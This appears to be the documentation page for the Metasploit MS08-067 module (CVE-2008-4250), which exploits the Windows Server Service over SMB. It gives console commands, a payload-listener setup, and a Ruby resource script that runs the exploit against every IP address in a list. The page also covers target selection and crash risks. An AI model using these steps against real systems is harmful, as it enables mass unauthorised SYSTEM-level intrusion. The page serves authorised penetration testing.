Module Overview


Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms08_067_netapi
Source code: modules/exploits/windows/smb/ms08_067_netapi.rb
Disclosure date: 2008-10-28
Last modification time: 2021-12-02 16:33:02 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2008-4250

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Basic Usage


Using ms08_067_netapi against a single host

Normally, you can use exploit/windows/smb/ms08_067_netapi this way:

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show targets
    ... a list of targets ...
msf exploit(ms08_067_netapi) > set TARGET target-id
msf exploit(ms08_067_netapi) > show options
    ... show and set options ...
msf exploit(ms08_067_netapi) > exploit

Using ms08_067_netapi against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your ms08_067_netapi will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/smb/ms08_067_netapi")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Knowledge Base


ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is considered a reliable exploit and allows you to gain access as SYSTEM - the highest Windows privilege. In modern day penetration tests, this exploit would most likely be used in an internal environment and not so much from external due to the likelihood of a firewall.

The check command of ms08_067_netapi is also highly accurate, because it is actually testing the vulnerable code path, not just passively.

Vulnerable Application


This exploit works against a vulnerable SMB service from one of these Windows systems:

  • Windows 2000
  • Windows XP
  • Windows 2003

To reliably determine whether the machine is vulnerable, you will have to either examine the system's patch level, or use a vulnerability check.

Verification Steps


Please see Basic Usage under Overview.

Scenarios


Failure to detect the language pack

On some Windows systems, ms08_067_netapi (as well as other SMB modules) might show you this message:

Windows 2003 R2 Service Pack 2 - lang:Unknown

This is because the targeted system does not allow itself to be enumerated without authentication. In this case, either you can set the username and password to be able to use automatic detection, like this:

set SMBUSER [username]
set SMBPASS [password]

Or you must manually set the target with the correct language, for example:

set target [target ID]

Unsafe configuration of LHOST

Although ms08_067_netapi is reliable enough for a memory corruption exploit, it has its own denial-of-service moments. One scenario is when the LHOST option is incorrectly configured, which could result the SMB to crash.
